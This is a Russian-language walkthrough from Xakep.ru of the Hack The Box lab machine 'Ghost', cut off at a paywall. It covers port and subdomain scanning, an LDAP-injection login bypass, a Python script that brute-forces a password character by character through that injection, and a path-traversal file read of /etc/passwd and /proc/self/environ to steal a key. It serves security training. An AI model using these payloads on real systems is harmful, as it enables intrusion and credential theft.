Содержание статьи
Через связанные серверы Microsoft SQL получим сессию от имени службы, а затем поднимем привилегии на контроллере дочернего домена. Через Inter-realm golden ticket скомпрометируем контроллер домена всего леса.
Наша цель — получение прав суперпользователя на машине Ghost с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.24 ghost.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел 19 открытых портов:
- 53 — DNS;
- 80 (HTTP) — веб‑сервер Microsoft;
- 88 — Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — СУБД Microsoft SQL;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — служба удаленного рабочего стола;
- 5985 — служба удаленного управления WinRM;
- порты 8008 и 8443 — веб‑сервер Nginx 1.18.0;
- 9389 — веб‑службы AD DS.
Сертификат веб‑сервиса на порте 8443 раскрывает новый поддомен, который добавим в файл /
.
10.10.11.24 ghost.htb core.ghost.htb

Если перейти к логину через ADFS, получим редирект на новый поддомен.

Добавляем новый поддомен в /
.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb

На порте 8008 нас встретит какой‑то блог.

Точка входа
Так как уже было найдено несколько поддоменов, методом перебора попробуем найти еще. Для сканирования поддоменов можно использовать ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— HTTP-заголовок; -
-fs
— фильтровать страницы по размеру.
Место перебора помечается словом FUZZ.
Задаем все параметры и запускаем:
ffuf -u http://ghost.htb:8008 -H 'Host: FUZZ.ghost.htb:8008' -w dns-lists.txt -t 128 -fs 7676

Находим еще два домена, которые добавляем в /
.
10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb gitea.ghost.htb intranet.ghost.htb
На первом нас встречает Gitea, а на втором — страница авторизации.


Если просмотреть запрос на логин через Burp History, названия параметров дадут понять, что используется LDAP-аутентификация.

LDAP Injection
Первым делом проверим инъекцию LDAP, для чего вместо логина и пароля передадим символ *
, который будет воспринят как «любое количество любых символов». При сравнении с первыми же учетными данными из базы на стороне сервера аутентификация будет пройдена.

Повторим вход через браузер и просмотрим, что есть интересного на сайте.

На странице Users
получаем список всех пользователей.

На странице Forum
находим интересную информацию. У пользователя недоступен сервис bitbucket.
, так как для него отсутствует запись DNS. Вернемся к этому, как только получим возможность создавать записи на DNS-сервере.

Так как на сайте есть LDAP-инъекция, мы можем попытаться посимвольно подобрать пароли пользователей. Для первого символа будем подбирать варианты a*, b*, c* и так далее. Успешный логон означает верно подобранный пароль. Автоматизировать подбор можно следующим скриптом, а подбирать будем пароль для учетной записи gitea_temp_principal
.
import stringimport requestsurl = 'http://intranet.ghost.htb:8008/login'headers = {'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940'}username = "gitea_temp_principal"password = ""while True: for char in string.ascii_lowercase + string.digits: files = { '1_ldap-username': (None, username), '1_ldap-secret': (None, f'{password}{char}*'), '0': (None, '[{},"$K1"]') } res = requests.post(url, headers=headers, files=files) if res.status_code == 303: password += char print(password) break else: breakprint()print(f"Creds => {username}:{password}")

Пароль успешно подобран, с полученными учетными данными залогинимся в Gitea.

Точка опоры
LFI
Просмотрим проекты, начиная с репозитория blog
. В README написано про функцию сканирования, которая находится в стадии разработки, поэтому доступна только с ключом DEV_INTRANET_KEY
, который хранится в переменной среды. Для доступа к API блога нужно использовать токен a5af628828958c976a3b6cc81a
.

Просмотрим исходный код posts-public.
. Там интересен эндпоинт posts
, который в каталоге /
читает файл, переданный в параметре extra
. При этом никакой фильтрации названия файла нет, так что тут просматривается потенциальная уязвимость LFI.

Информацию об API удалось найти в официальной справке CMS Ghost.

Проверим, обрабатывается ли URL http://
на сервере.

Теперь переберем эндпоинты с помощью сканера feroxbuster.
При запуске укажем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-d
— глубина сканирования; -
-t
— количество потоков.
feroxbuster -u http://ghost.htb:8008/ghost/api/content/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128

В списке есть нужный нам posts
. В запросе к этому API передаем токен, а также путь к файлу /
с обходом каталогов.
http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../etc/passwd

В ответе сервера получаем содержимое запрошенного файла, а значит, уязвимость LFI присутствует. Получим переменные окружения, среди которых должен быть и DEV_INTRANET_KEY
.
http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../proc/self/environ

Перейдем ко второму сервису.
Command Injection
В исходном коде сервиса сразу найдем все места, где используется ключ доступа. Ключ нужно передавать в соответствующем заголовке.

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее